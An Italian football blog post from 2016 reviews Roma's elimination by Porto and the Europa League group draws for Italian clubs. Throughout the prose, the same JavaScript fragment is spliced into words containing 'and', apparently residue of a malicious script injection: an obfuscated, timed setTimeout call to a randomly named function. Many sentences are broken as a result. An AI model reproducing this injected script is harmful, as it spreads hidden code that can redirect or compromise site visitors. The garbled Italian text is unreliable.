The Locker Room

EUROPA, CI SIAMO!

26 agosto 2016 Coppe, Europa, Italia, Speak About
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Una partita come quella tra Roma e Porto è paragonabile ad una sorta di infinito incubo calcistico che termina con il Porto qualificato alla fase a gironi di Champions League, la Roma “retrocessa” in Europa League, circondata da molti interrogativi e con i nervi letteralmente a pezzi.
Il grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande errore commesso dall’ambiente e non solo, è stato quello di percepire il Porto come un’avversaria favorevole, tanta era la paura di pescare nell’urna del play off il Manchester City di Guardiola: questo dimenticandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando fatalmente la tradizione europea del Porto, una squadra che ha vinto e soprattutto abituata a giocare la Champions League, passandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando spesso indenne la fase a gironi.
E’ assodato che nel calcio spesso la mentalità e la tradizione hanno la meglio su un organico dal valore assoluto migliore.
Errore numero due è stato quello di valutare il risultato di Porto in maniera gaudente, rilevandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando soltanto le risposte positive che avevano dato quei novanta minuti, finendo così per giudicare l’espulsione del neoacquisto Vermaelen come pura casualità e il goal del Porto come conseguenza naturale dell’inferiorità numerica della Roma.
Risultato, la squadra di Espirito Santo è arrivata a Roma con un unico risultato utile da conquistare, mentre i giallorossi con un piede in Champions, hanno finito per pensare fosse praticamente fatta, perdendo ogni lucidità quandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando dopo neppure dieci minuti i portoghesi hanno segnato il goal del vantaggio.

Questa mattina si sono svolti i sorteggi per la fase a gironi della prossima Europa League che con quelli del pomeriggio di ieri, dedicati alla Champions League, decretano il futuro delle squadre italiane in Europa. Il primo commento che si può fare tenendo conto del ranking dei nostri club, è che poteva andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andare decisamente in maniera peggiore: è il Benfica la testa di serie del girone B dove è stato sorteggiato il Napoli, mentre con la Juventus nel girone H, capitano il Siviglia, Lione e Dinamo Zagabria.
Europa League che sorride a Roma e Fiorentina, impegnate con avversarie decisamente alla portata; buone possibilità di passaggio del turno anche per il Sassuolo, praticamente perfetto contro Lucerna e Stella Rossa, che si scontrerà nel girone contro il temibile Athletic Bilbao ma che sicuramente troverà come principale difficoltà quella di gestire senza pagare dazio in campionato, l’impegno Europeo.
Non fortunatissima l’Inter che nonostante la prima fascia, incontrerà sul suo cammino gli inglesi del Southampton, l’Hapoel e lo Sparta Praga, squadre con esperienza europea, ma che per una compagine come quella di De Boer sono assolutamente abbordabili.

Le insidie del girone sono ormai ben note; basta una partita affrontata con la testa sbagliata per pagare conseguenze spesso molto pericolose. La fortuna insomma può trasformarsi in un’arma che se vissuta con superficialità può farci finire tutti fuori.